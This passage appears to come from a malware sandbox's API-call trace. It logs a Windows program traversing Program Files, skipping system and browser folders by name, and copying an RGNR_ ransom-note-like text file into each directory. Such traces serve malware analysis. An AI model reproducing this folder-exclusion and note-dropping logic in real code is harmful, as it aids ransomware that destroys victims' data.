ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0068.486] lstrcmpiW (lpString1="Stationery", lpString2=".") returned 1 [0068.486] lstrcmpiW (lpString1="Stationery", lpString2="..") returned 1 [0068.486] lstrcmpiW (lpString1="Stationery", lpString2="Windows") returned -1 [0068.486] lstrcmpiW (lpString1="Stationery", lpString2="Windows.old") returned -1 [0068.487] lstrcmpiW (lpString1="Stationery", lpString2="Tor browser") returned -1 [0068.487] lstrcmpiW (lpString1="Stationery", lpString2="Internet Explorer") returned 1 [0068.487] lstrcmpiW (lpString1="Stationery", lpString2="Google") returned 1 [0068.487] lstrcmpiW (lpString1="Stationery", lpString2="Opera") returned 1 [0068.487] lstrcmpiW (lpString1="Stationery", lpString2="Opera Software") returned 1 [0068.487] lstrcmpiW (lpString1="Stationery", lpString2="Mozilla") returned 1 [0068.487] lstrcmpiW (lpString1="Stationery", lpString2="Mozilla Firefox") returned 1 [0068.487] lstrcmpiW (lpString1="Stationery", lpString2="$Recycle.Bin") returned 1 [0068.487] lstrcmpiW (lpString1="Stationery", lpString2="ProgramData") returned 1 [0068.487] lstrcmpiW (lpString1="Stationery", lpString2="All Users") returned 1 [0068.487] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x36 [0068.487] lstrcpyW (in: lpString1=0x1ec0fe, lpString2="Stationery" | out: lpString1="Stationery") returned="Stationery" [0068.487] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" [0068.487] lstrcpyW (in: lpString1=0x1ebe8c, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" [0068.487] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\RGNR_FD7BD9FC.txt" [0068.487] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0068.491] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*" [0068.491] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", nBufferLength=0x104, lpBuffer=0x1eb1ac, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x41 [0068.491] lstrcpyW (in: lpString1=0x1eafa4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0068.491] lstrcpyW (in: lpString1=0x1eb228, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0068.491] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7b0ff280, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7b0ff280, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0068.492] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0068.492] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7b0ff280, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7b0ff280, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.492] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0068.492] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0068.492] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2608de, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2608de, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xcdfff30e, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.htm", cAlternateFileName="")) returned 1 [0068.492] lstrcmpiW (lpString1="Bears.htm", lpString2=".") returned 1 [0068.492] lstrcmpiW (lpString1="Bears.htm", lpString2="..") returned 1 [0068.493] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa352261, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.jpg", cAlternateFileName="")) returned 1 [0068.493] lstrcmpiW (lpString1="Bears.jpg", lpString2=".") returned 1 [0068.493] lstrcmpiW (lpString1="Bears.jpg", lpString2="..") returned 1 [0068.493] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ca9e3b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ca9e3b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4421c165, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Blue_Gradient.jpg", cAlternateFileName="")) returned 1 [0068.493] lstrcmpiW (lpString1="Blue_Gradient.jpg", lpString2=".") returned 1 [0068.493] lstrcmpiW (lpString1="Blue_Gradient.jpg", lpString2="..") returned 1 [0068.493] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ccff98, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ccff98, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x442422c3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x11eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cave_Drawings.gif", cAlternateFileName="")) returned 1 [0068.493] lstrcmpiW (lpString1="Cave_Drawings.gif", lpString2=".") returned 1 [0068.493] lstrcmpiW (lpString1="Cave_Drawings.gif", lpString2="..") returned 1 [0068.493] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4d6850c, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4d6850c, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4434cc55, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x90f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Connectivity.gif", cAlternateFileName="")) returned 1 [0068.493] lstrcmpiW (lpString1="Connectivity.gif", lpString2=".") returned 1 [0068.493] lstrcmpiW (lpString1="Connectivity.gif", lpString2="..") returned 1 [0068.493] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x80425158, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bf1d2d9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bf1d2d9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0068.493] lstrcmpiW (lpString1="Desktop.ini", lpString2=".") returned 1 [0068.493] lstrcmpiW (lpString1="Desktop.ini", lpString2="..") returned 1 [0068.493] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5015d96, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5015d96, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x444c9a01, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xed0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dotted_Lines.emf", cAlternateFileName="")) returned 1 [0068.493] lstrcmpiW (lpString1="Dotted_Lines.emf", lpString2=".") returned 1 [0068.493] lstrcmpiW (lpString1="Dotted_Lines.emf", lpString2="..") returned 1 [0068.493] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce04b5c8, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garden.htm", cAlternateFileName="")) returned 1 [0068.493] lstrcmpiW (lpString1="Garden.htm", lpString2=".") returned 1 [0068.493] lstrcmpiW (lpString1="Garden.htm", lpString2="..") returned 1 [0068.493] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa410937, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x5d3f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garden.jpg", cAlternateFileName="")) returned 1 [0068.493] lstrcmpiW (lpString1="Garden.jpg", lpString2=".") returned 1 [0068.493] lstrcmpiW (lpString1="Garden.jpg", lpString2="..") returned 1 [0068.493] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc50881ad, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc50881ad, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x444efb5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1594, dwReserved0=0x0, dwReserved1=0x0, cFileName="Genko_1.emf", cAlternateFileName="")) returned 1 [0068.493] lstrcmpiW (lpString1="Genko_1.emf", lpString2=".") returned 1 [0068.493] lstrcmpiW (lpString1="Genko_1.emf", lpString2="..") returned 1 [0068.493] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc50d4467, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc50d4467, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44515cbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2864, dwReserved0=0x0, dwReserved1=0x0, cFileName="Genko_2.emf", cAlternateFileName="")) returned 1 [0068.493] lstrcmpiW (lpString1="Genko_2.emf", lpString2=".") returned 1 [0068.493] lstrcmpiW (lpString1="Genko_2.emf", lpString2="..") returned 1 [0068.493] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5120721, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5120721, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4453be1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1c7f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Graph.emf", cAlternateFileName="")) returned 1 [0068.493] lstrcmpiW (lpString1="Graph.emf", lpString2=".") returned 1 [0068.493] lstrcmpiW (lpString1="Graph.emf", lpString2="..") returned 1 [0068.493] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2d2cf5, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2d2cf5, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce071725, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Green Bubbles.htm", cAlternateFileName="")) returned 1 [0068.493] lstrcmpiW (lpString1="Green Bubbles.htm", lpString2=".") returned 1 [0068.494] lstrcmpiW (lpString1="Green Bubbles.htm", lpString2="..") returned 1 [0068.494] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2f8e52, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2f8e52, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa436a95, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1906, dwReserved0=0x0, dwReserved1=0x0, cFileName="GreenBubbles.jpg", cAlternateFileName="")) returned 1 [0068.494] lstrcmpiW (lpString1="GreenBubbles.jpg", lpString2=".") returned 1 [0068.494] lstrcmpiW (lpString1="GreenBubbles.jpg", lpString2="..") returned 1 [0068.494] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4fc9adc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4fc9adc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4453be1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="grid_(cm).wmf", cAlternateFileName="")) returned 1 [0068.494] lstrcmpiW (lpString1="grid_(cm).wmf", lpString2=".") returned 1 [0068.494] lstrcmpiW (lpString1="grid_(cm).wmf", lpString2="..") returned 1 [0068.494] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4fa397f, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4fa397f, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44692a69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="grid_(inch).wmf", cAlternateFileName="")) returned 1 [0068.494] lstrcmpiW (lpString1="grid_(inch).wmf", lpString2=".") returned 1 [0068.494] lstrcmpiW (lpString1="grid_(inch).wmf", lpString2="..") returned 1 [0068.494] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce0bd9df, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hand Prints.htm", cAlternateFileName="")) returned 1 [0068.494] lstrcmpiW (lpString1="Hand Prints.htm", lpString2=".") returned 1 [0068.494] lstrcmpiW (lpString1="Hand Prints.htm", lpString2="..") returned 1 [0068.494] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa45cbf3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x107e, dwReserved0=0x0, dwReserved1=0x0, cFileName="HandPrints.jpg", cAlternateFileName="")) returned 1 [0068.494] lstrcmpiW (lpString1="HandPrints.jpg", lpString2=".") returned 1 [0068.494] lstrcmpiW (lpString1="HandPrints.jpg", lpString2="..") returned 1 [0068.494] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5192b38, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5192b38, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4480f815, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x252ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Memo.emf", cAlternateFileName="")) returned 1 [0068.494] lstrcmpiW (lpString1="Memo.emf", lpString2=".") returned 1 [0068.494] lstrcmpiW (lpString1="Memo.emf", lpString2="..") returned 1 [0068.494] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4e4cd3a, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4e4cd3a, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44835973, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Monet.jpg", cAlternateFileName="")) returned 1 [0068.494] lstrcmpiW (lpString1="Monet.jpg", lpString2=".") returned 1 [0068.494] lstrcmpiW (lpString1="Monet.jpg", lpString2="..") returned 1 [0068.494] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc51dedf2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc51dedf2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x448cdeeb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1060, dwReserved0=0x0, dwReserved1=0x0, cFileName="Month_Calendar.emf", cAlternateFileName="")) returned 1 [0068.494] lstrcmpiW (lpString1="Month_Calendar.emf", lpString2=".") returned 1 [0068.494] lstrcmpiW (lpString1="Month_Calendar.emf", lpString2="..") returned 1 [0068.494] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc522b0ac, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc522b0ac, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x448cdeeb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x65b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Music.emf", cAlternateFileName="")) returned 1 [0068.494] lstrcmpiW (lpString1="Music.emf", lpString2=".") returned 1 [0068.494] lstrcmpiW (lpString1="Music.emf", lpString2="..") returned 1 [0068.494] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ebf151, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ebf151, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44b2f4cb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xb86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notebook.jpg", cAlternateFileName="")) returned 1 [0068.494] lstrcmpiW (lpString1="Notebook.jpg", lpString2=".") returned 1 [0068.494] lstrcmpiW (lpString1="Notebook.jpg", lpString2="..") returned 1 [0068.494] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce0e3b3c, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Orange Circles.htm", cAlternateFileName="")) returned 1 [0068.494] lstrcmpiW (lpString1="Orange Circles.htm", lpString2=".") returned 1 [0068.494] lstrcmpiW (lpString1="Orange Circles.htm", lpString2="..") returned 1 [0068.494] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce34510c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce34510c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa4cf00d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x18ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="OrangeCircles.jpg", cAlternateFileName="")) returned 1 [0068.495] lstrcmpiW (lpString1="OrangeCircles.jpg", lpString2=".") returned 1 [0068.495] lstrcmpiW (lpString1="OrangeCircles.jpg", lpString2="..") returned 1 [0068.495] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce34510c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce34510c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce109c99, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Peacock.htm", cAlternateFileName="")) returned 1 [0068.495] lstrcmpiW (lpString1="Peacock.htm", lpString2=".") returned 1 [0068.495] lstrcmpiW (lpString1="Peacock.htm", lpString2="..") returned 1 [0068.495] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3913c6, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3913c6, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa51b2c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Peacock.jpg", cAlternateFileName="")) returned 1 [0068.495] lstrcmpiW (lpString1="Peacock.jpg", lpString2=".") returned 1 [0068.495] lstrcmpiW (lpString1="Peacock.jpg", lpString2="..") returned 1 [0068.495] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f0b40b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f0b40b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44b55629, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pine_Lumber.jpg", cAlternateFileName="")) returned 1 [0068.495] lstrcmpiW (lpString1="Pine_Lumber.jpg", lpString2=".") returned 1 [0068.495] lstrcmpiW (lpString1="Pine_Lumber.jpg", lpString2="..") returned 1 [0068.495] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f31568, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f31568, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44bc7a43, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pretty_Peacock.jpg", cAlternateFileName="")) returned 1 [0068.495] lstrcmpiW (lpString1="Pretty_Peacock.jpg", lpString2=".") returned 1 [0068.495] lstrcmpiW (lpString1="Pretty_Peacock.jpg", lpString2="..") returned 1 [0068.495] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f7d822, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f7d822, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44bc7a43, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Psychedelic.jpg", cAlternateFileName="")) returned 1 [0068.495] lstrcmpiW 